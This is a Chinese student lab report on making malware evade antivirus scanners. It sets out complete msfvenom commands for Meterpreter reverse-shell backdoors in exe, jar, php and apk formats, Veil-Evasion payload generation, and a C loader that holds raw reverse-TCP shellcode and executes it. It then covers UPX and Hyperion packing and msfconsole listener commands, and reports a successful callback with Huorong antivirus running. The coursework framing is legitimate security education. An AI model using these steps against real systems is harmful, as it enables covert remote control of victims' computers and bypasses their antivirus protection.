一、实践目标
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
- 通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、基础问题回答
1. 杀软是如何检测出恶意代码的?
1. 工程师提前在杀软的库中储存了大量恶意代码的特征码,当本机检测样本文件特征码与病毒库中病毒特征码进行比对,如果比对成功,那么就说明这是恶意代码。
2. 杀软实时监测软件行为,当软件做出越界操作时,可以认为它是恶意代码。
2. 免杀是做什么?
免杀一般是通过修改病毒、木马内容而改变其特征码,从而躲避杀软的查杀。
3. 免杀的基本方法有哪些?
1. 改变特征码:如加壳、重写再编译。
2. 改变行为:尽量使用反弹式连接、减少对系统的修改。
三、实践过程
(一):正确使用msf编码器、msfvenom生成如jar之类的其他文件
1. 免杀检测
在实验二中使用msf生成了后门程序
20181223_backdoor.exe
,可以用VirusTotal对生成的后门程序进行扫描。
可以看到,70款杀软中54款报了病毒,不加处理的后门程序能被大部分的杀软检测到
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。
2. 正确使用msf编码器
使用msf编码器对后门程序进行一次到多次编码,并进行检测。
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
(1)一次编码
一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'x00'
不出现在shellcode中,因为shellcode以'x00'
为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.3.180 LPORT=1223 -f exe > 20181223_backdoor.exe
对生成的20181223_backdoor.exe后门程序,使用VirusTotal进行扫描,扫描结果如下图所示:
70款软件里有53款报了病毒,比上次少了一个
(2)多次编码
十次编码使用命令:
-i
设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.3.180 LPORT=1223 -f exe > 20181223_backdoor.exe
继续使用VirusTotal进行扫描,扫描结果如下图所示:
70款软件里有55款报了病毒,比最开始还多了一个
很明显,我们的实验结果和理论不符,多次编码后竟然提高了被查杀概率。
这说明,简单的多次编码并不能实现免杀。
3. msfvenom生成jar文件
(1)生成java后门程序
生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.3.180 LPORT=1223 x > 20181223_backdoor.jar
(2)检测程序
对生成的20181223_backdoor.jar后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:
61款软件里有34款报了病毒,数量上要少一些了
4. msfvenom生成php文件
(1)生成php后门程序
生成php后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.180 LPORT=1223 x > 20181223_backdoor.php
(2)检测程序
对生成的20181223_backdoor.php后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:
57款杀软里有19款报了病毒,数量更少了
5. msfvenom生成apk文件
(1)生成apk后门程序
生成apk后门程序使用命令:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.3.180 LPORT=1223 x > 20181223_backdoor.apk
(2)检测程序
对生成的20181223_backdoor.apk后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:
64款杀软里有32款报了病毒,数量又回升了一些
6. 使用veil-evasion生成后门程序及检测
(1)安装veil
使用sudo apt-get install veil-evasion
命令安装veil
(2)配置veil
输入veil
指令,进入veil界面
输入s
进行默认配置
这样就安装好了
(3)veil生成后门程序
输入指令使用veil-evasion
use 1
输入指令,可以查看指令的用途
list
输入命令进入配置界面
use 22
设置端口号和IP地址,此处IP为虚拟机IP
set LHOST 192.168.3.180//设置反弹连接IP set LPORT 1223//设置端口 options
输入generate
生成文件,接着输入你想要playload的名字:veil_1223
在对应的目录找到生成的veil_1223.bat文件
(4)检测程序
59款杀软里有34款报毒,数量和之前差不多
7. 注入Shellcode并执行(嵌入式Shellcode)
(1)生成shellcode
首先使用命令用c语言生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.180 LPORT=1223 -f c
(2)创建源文件
创建一个文件20181223.c,然后将unsigned char buf[]赋值到其中,代码如下:
创建20181223.c文件,文件内容为
#include <stdio.h>
unsigned char buf[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
"x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x03xb4"
"x68x02x00x04xc7x89xe6x50x50x50x50x40x50x40x50"
"x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
"x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
"x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
"xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
"x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
"x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
"x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
"x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
"x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
编译文件
i686-w64-mingw32-g++ 20181223.c -o 20181223.exe
(3)检测程序
对创建的20181223.exe后门文件,使用VirusTotal进行扫描,扫描结果如下所示
69款杀软里有35款报毒,相比之下少了一点
不过关闭了杀软和防火墙后,可以在本机环境运行
8. 加壳
(1)压缩壳加壳
给之前的生成的文件进行加壳操作,压缩壳upx进行加壳,指令为
upx 20181223.exe -o 20181223_upx.exe
(2)检测程序
对创建的20181223_upx.exe后门文件,使用VirusTotal进行扫描,扫描结果如下所示
69款杀软里有32款报毒,相比之下又少了一点
(3)加密壳加壳
加密壳(Hyperion)进行加壳,将加壳的文件复制到/usr/share/windows-resources/hyperion/中
sudo cp 20181223_upx.exe /usr/share/windows-resources/hyperion/
输入命令
wine hyperion.exe -v 20181223_upx.exe 20181223_hyperion_upx.exe
(4)检测程序
对创建的20181223_hyperion_upx.exe后门文件,使用VirusTotal进行扫描,扫描结果如下所示
70款杀软里有49款报毒,数量反而回升了
9. 其他方法
(1)使用Veil-Evasion的其他载荷生成后门
启动veil
输入命令veil
启动, 用use evasion
命令进入Evil-Evasion
输入list
查看其他可用的有效荷载
输入命令use 13
,这里我选择的是第13个载荷cs/shellcode_inject/virtual.py
输入option
,查看有效荷载的选项
然后运行generate
生成有效载荷,我们选择4带有shellcode的有效载荷。这里会要求输入本机的IP:192.168.3.125和该payload使用的端口,我们设置为1223端口
成功完成以上编译后,编译后的文件被保存在/var/lib/veil/output/compiled/veil_1223.exe下,同时新生成的 shellcode 的 rc 文件也被保存在了 /var/lib/veil/output/handlers/veil_1223.rc下!既然有了rc文件,那么我们就可以方便的利用MSF 进行调用
进入该文件目录下cd /var/lib/veil/output/handlers/,使用命令msfconsole -r veil_1223.rc
对创建的后门文件,使用VirusTotal进行扫描,扫描结果如下所示
64款杀软里有32款报毒,和之前差不多
(二)通过组合应用各种技术实现恶意代码免杀
在上述的实验过程中
先使用veil-evasion生成了后门程序veil_1223.exe
再使用upx对其进行加壳,生成了20181223_upx.exe
其实在进行完上述两个步骤之后,已经实现了免杀
再使用Hyprion加密壳对20181223_upx.exe再次加壳,生成20181223_hyperion_upx.exe
依然可以实现免杀的目的
(三)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
使用kali虚拟机作为主机,将本机作为宿主
杀软为火绒安全软件,版本号5.0.59.0
使用的后门程序为20181223_upx.exe
依次输入以下指令开始监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.128.129
set LPORT 1202
exploit
在windows主机中运行20181223_upx.exe
,反向连接成功
四、实践总结与体会
经过这次实验,我更加深刻地体会到了防范恶意代码在我们生活中的必要性。同时,我们应该打开电脑上的杀毒软件,这样才能更好地保护我们的电脑和隐私。
并且,这次实验给我的印象也是深刻的。大量的操作让我对恶意代码的生成有了更多的认识。
在安装veil时,我遇到了问题。kali系统内自带的veil配置文件在转义上出现了错误,我只能拷贝一份别人的veil文件夹覆盖掉我的数据,这才安装成功。
五、开启杀软能绝对防止电脑中恶意代码吗?
不能。因为总会有新的病毒或者木马没有被发现过,比如之前的勒索程序。同样,用户不安全的操作也是中恶意代码的隐患。